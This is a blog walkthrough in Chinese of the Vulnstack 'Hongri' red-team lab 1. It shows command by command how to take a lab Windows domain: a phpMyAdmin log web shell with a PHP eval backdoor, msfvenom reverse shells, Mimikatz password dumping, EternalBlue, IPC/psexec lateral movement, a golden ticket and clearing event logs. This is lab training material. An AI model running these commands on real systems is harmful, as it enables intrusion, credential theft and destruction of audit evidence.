ATT&CK红队评估(红日靶场1)
前言
博主小白一个,各位大佬勿喷,前前后后,学了挺久的,学了之后又忘了,因此来打红日靶场1巩固知识。文章写的不是很好,缺少很多细节,博主也是内网小白,很多都不懂,互相学习
靶机介绍
本靶机环境是红日团队开源的一个红队实战测试环境,靶机下载地址如下:
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
虚拟机默认密码:hongrisec@2019(有的会提示密码已过期,随便更改)
网络拓扑图如下:
环境搭建
环境配置
下载后为三台虚拟机,解压后VMware打开
左上角“编辑—>虚拟网络编辑器”添加一段虚拟网络,设置为仅主机:
给win7外网服务器添加一张网卡,一张网卡为NAT,另一张是我们刚刚添加的VMnet2:
内网域控还有域成员网卡都设置为VMnat2
win2008(域控):
win2003(域成员):
ip配置如下
kali (攻击机):192.168.98.136(VMnet8 网卡分配的IP)
Windows 7 (web服务器):192.168.98.147(外网和kali连通)、192.168.52.143(内网ip)
Windows 2008 (域控):192.168.52.138
Win2k3 (域管):192.168.52.141
启动环境
登录密码:hongrisec@2019(登录时 提示密码过期需更改密码),三台机均为一样的密码。
配置win7(外网服务器)
登录win7(外网服务器)打开phpStudy服务,这样环境就配置好了
位置:C:\phpStudy\phpStudy.exe
首次登录后,需要再重启电脑,不然phpstudy可能无法启动。
可以成功访问网站:
能ping 通kali机,说明和外网已经连通了,这里还有一点就是记得把WIndows 7这个web服务器防火墙的关闭,否则kali会ping 不通
ping DC域控:
配置Winserver 2008网络(DC域控)
登录时提示密码过期,需要更改密码:
需要更改密码,我将密码修改为 :hongrisec@2024
配置Win2003/win2k3网络(域成员)
提示需要修改密码,密码改为:hongrisec@2002
web打点
信息收集
扫描端口
nmap扫描:
nmap -sS -sV -Pn 192.168.98.147
开放了80、135、3306端口
目录扫描
dirsearch -u http://192.168.98.147 -i 200,300-399,403
存在phpmyadmin,和phpinfo.php
漏洞挖掘
mysql弱口令
访问80端口网站时,下面有个连接数据库操作,输入账号密码为root时,直接连接成功:
之前目录扫描出phpmyadmin,那就直接登录试试:
在里面看见了mysql数据库和一个 yxcms的数据库,应该也存在一个yxcms服务
phpmyadmin后台getshell
查看一下phpmyadmin的版本:
通过80端口的页面信息得知,网站的绝对路径为:C:/phpStudy/WWW
查询一下secure_file_priv=
的设置为多少,如果为NULL的话,就不能通过上传文件getshell:
show global variables like '%secure_file_priv%'
通过查询可知,secure_file_priv=NULL
,因此不能使用上传文件getshell了,所以尝试写入日志来getshell
查看当前日志文件:
SHOW VARIABLES LIKE 'general%';
开启日志记录
set global general_log = "ON";
更改日志文件路径
set global general_log_file='C:\\phpStudy\\WWW\\shell.php'
日志文件里写入一句话木马
select '<?php @eval($_POST[cmd]);?>';
蚁剑成功连接:
yxcms后台上传getshell
之前在phpadmin上看见了一个yxcms的数据库,说明可能存在yxcms,访问:http://192.168.98.147/yxcms/
在首页公告里指明了后台登录界面和账号密码:
访问登录即可:
在前台模块中新增一个test.php
,写入一句话后门:
新增之后,这个后门文件在哪呢?这时候需要 看beifen.rar 备份文件了(这个备份文件是通过目录扫描出来的,字典不够强大就扫描不出来!)
根据源码可知文件位置:/yxcms/protected/apps/default/view/default/
蚁剑连接 拿到shell:
http://192.168.98.147/yxcms/protected/apps/default/view/default/test.php
内网渗透
可以选择msf生成木马来进行内网渗透也可以使用cs来进行,都可以使用。
msf上线
msf生成木马,这里就不做免杀了:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.98.136 LPORT=3443 -f exe -o /root/msf3443.exe
通过蚁剑上传到对方主机上,msf这边开始监听:
use explpit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.98.136
set lport 3443
exploit
在蚁剑命令行中运行shell . exe,msf成功监听到会话。
图略。
拿到shell之后,第一件事就是提权
# 查看当前权限:
getuid
# 提权到system(msf自带的提权方式):
getsystem
CS上线
接下来主要使用CS来进行内网渗透
创建监听器
生成木马,上传cs木马(免杀就不做了):
执行木马上线CS:
提权
shell systeminfo 查看主机名,系统名称,系统版本:
同时也可以得到主机域信息和安装的补丁:
同时使用shell tasklist /svc 可以查看运行的进程,同时根据进程判断主机是否存在杀毒软件:
根据查询,并未杀毒软件。
补充-这里列举一些常见的杀毒软件名:
拿下机子的第一件事情就是提权,使用elevatekit插件来提权,先下载导入这个插件,然后右键点击到权限提升,选择ms15-051可以成功提权:
提权成功,拿到system权限:
信息收集
判断是否存在域:
net config Workstation
根据回显,确定存在域环境
查看有几个域环境:
shell net view /domain
只有一个GOD域
查看域内主机:
cs中选择主机,然后net view 之后会在target 中显示结果,这点比msf看起来方便:
发现这3台主机
查看域控:
net group "domain controllers" /domain
域控是:OWA
端口扫描:
cs的端口扫描,用的不太习惯,端口可能扫描不全
138主机:139,445,88,80,53,135
141主机:139,135,21,445
查看域内所有用户:
net user /domain
查看域管理员列表:
net group "domain admins" /domain
抓取明文密码:
可使用 Mimikatz 直接抓取本机用户密码:hongrisec@2002
选中会话,右键-提权-抓取明文密码:
派生MSF
这里试了试CS 的 portscan ,发现效果并不是很好,很多端口没扫描出来
首先msf 中执行:
use exploit/multi/handler
set payload windows/meterpreter/reverse_http(跟cs上选用的payload一样)
set lhost 0.0.0.0 //本地ip
set lport 8888
exploit
然后cs 上先创建一个foreign listener ,host 选择 msf 的ip ,post 选择msf 监听的port 。
然后在会话中,输入:spawn MSF
msf成功接收到:
远程登录
注意:需要system权限
# 查看端口3389是否开启
netstat -ano | findstr "3389"
# 查看远程端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
# 开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
# 方法一:允许 3389 端口放行
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
# 方法二:直接关闭防火墙
# Windows Server 2003 系统及之前版本
netsh firewall set opmode disable
# Windows Server 2003 之后系统版本
netsh advfirewall set allprofiles state off
3389端口未开放:
开启3389端口
注册表开启3389端口,使用如下命令开启(适用于 win7,xp,2008 , 关闭则把0换成1):
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
成功开启3388端口
允许3389连接
方法一:命令行直接关闭防火墙
因为这个时候防火墙是开启的,必须关闭防火墙才能进行3389远程登录连接:
#winsows server 2003 之前
netsh firewall set opmode disable
#winsows server 2003 之后
netsh advfirewall set allprofiles state off
方法二:允许防火墙 3389 端口放行
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
方法三:MSF允许rdp连接:
run post/windows/manage/enable_rdp
run multi_console_command -r <FileLocation> (文件为启用模块后的给的路径,都在/root/.msf4/loot/目录下)
VMIC
推荐此种方法,由于此方法会自动开启系统远程桌面中的允许远程连接到此计算机并启动默认的3389端口
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
博主没测试,后面如果测试话,再把图补上。
远程桌面成功:
可以使用之前抓取到的密码登录,也可以创建一个用户登录,毕竟你都拿到system权限了。
注意这里用户名填写:God\Administrator
当然对于非服务器版本的windows 远程登录的话,会断开该主机当前的连接,有可能会惊动管理员。
rdpwarp
https://blog.csdn.net/qq_41891666/article/details/107598979?spm=1001.2014.3001.5502
对于非服务器版本的windows 远程登录的话,会断开该主机当前的连接,有可能会惊动管理员。这个时候不慌,使用 rdpwrap
rdpwrap 是一款可以允许非服务器版本进行多个用户登录的patcher, 从github上面下载下来,用蚁剑把 RDPWInst.exe 传上去,然后执行:
RDPWInst.exe -i -s
这样就可以不惊动已在线的管理员实现远程登录。
最后在渗透结束后,可以使用:
RDPWInst.exe -u -k
来删除patch,注意需要添加-k 参数,意思是还原使用之前的设置
rdesktop 远程登录
# kali 安装远程桌面连接工具:
apt-get install rdesktop
# 连接远程桌面,用之前抓取的账户登录
rdesktop 192.168.98.147:3389
注意:不要使用ssh工具来打开rdesktop,会失败。
横向移动
隧道搭建
MSF + proxychains
# 添加路由,使msf可以访问内网,如果不添加,只能是meterpreter才能访问
run post/multi/manage/autoroute
# 查看路由
run autoroute -p
# 将当前会话放到后台
bg
# 使用socks4a进行代理,socks5出bug是用不了,有些人的msf代理模块跟我不太一样,但不影响,功能一样
use auxiliary/server/socks_proxy
show options
set version 4a
exploit
根据options,自己设置好必要的参数,启动即可
编辑proxychains4.conf文件,如果你没有装的话,那就去下载:
# 查看运行情况
jobs
# 配置proxychains
vi /etc/proxychains4.conf
# 这里的ip需要跟上面的socks4a模块一致
socks4 127.0.0.1 1080
使用proxychains代理访问被控主机,查看是否能使用
proxychains4 curl http://192.168.52.143/phpmyadmin
成功:
建立隧道主要用来msf进行渗透,来扫描端口,后面主要利用cs来进行横向,但是要学会隧道搭建,知识点是必备的。
永恒之蓝利用
扫描141
的时候发现开了445端口,尝试使用MS17_010
扫描192.168.52.141端口:
proxychains4 nmap -p 1-1000 -Pn -sT 192.168.52.141
使用模块判断版本:
use auxiliary/scanner/smb/smb_version
set rhost 192.168.52.141
run
探测到版本为:windows 2003
探测一下是否存在永恒之蓝漏洞:
use auxiliary/scanner/smb/smb_ms17_010
set rhost 192.168.52.141
run
结果显示:该主机确实存在永恒之蓝漏洞
尝试使用ms17_010
执行ipconfig命令:
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.141
set command ipconfig
exploit
执行命令成功:
已经可以命令执行了,可以把木马挂到web服务器,让目标主机去下载执行,域控同样存在这个漏洞,所以可以使用一样的手法拿下域控
IPC横向
138主机:139,445,88,80,53,135
141主机:139,135,21,445
利用IPC需要对方机器开启:139和445端口,域控和域成员主机都开启了
1、建立连接
net use \192.168.52.138\ipc$ "hongrisec@2002" /user:god\administrator
2、复制木马到目标主机上
做一个反向连接木马,因为域控上有防火墙,正向连接被拦截了,所以只能使用反向连接,创建木马过程省略
copy dc.exe \192.168.52.138\c$
3、创建计划任务test
通过创建计划任务来执行木马
schtasks /create /s 192.168.52.138 /tn test /sc onstart /tr c:\dc.exe /ru system /f
4、运行计划任务test
schtasks /run /s 192.168.52.138 /i /tn "test"
5、cs会话中执行上线命令
connect 192.168.52.138
连接成功:
全部拿下:
psexec横向
使用CS的psexec来完成下面操作
先新建SMB监听器:
对着目标右键横向-psexec
选择之前抓取的密码和创建的smb监听器:
执行成功上线,域控机也是同样操作:
3台机器都拿下:
权限维持
凭证提权—>黄金票据
右键抓取Hash和明文密码:
# 抓取到hash:
58e91a5ac358d86513ab224312314061:::
# SID:
S-1-5-20
把刚刚复制的域名,SID粘贴上去,hash已经帮你自动抓取了,用户名随便填写:
成功:
清理痕迹
# meterperter自带清除日志功能(清除windows中的应用程序日志、系统日志、安全日志)
clearev
# 清除recent:
在文件资源管理器中点击“查看”->“选项”->在常规->隐私中点击”清除”按钮
或直接打开C:\Users\Administrator\Recent并删除所有内容
或在命令行中输入del /f /s /q “%userprofile%\Recent*.*
# 在cs会话中执行下面命令
shell wevtutil cl security //清理安全日志
shell wevtutil cl system //清理系统日志
shell wevtutil cl application //清理应用程序日志
shell wevtutil cl "windows powershell" //清除power shell日志
shell wevtutil cl Setup //清除(cl)事件日志中的 "Setup" 事件。
总结
- 学习了提权,永恒之蓝漏洞利用
- 搭建隧道
- 学习远程登录知识点
- IPC横向移动
- psexec横向移动
- 黄金票据
- 痕迹清理
- 加深了对CS工具的内网渗透方面使用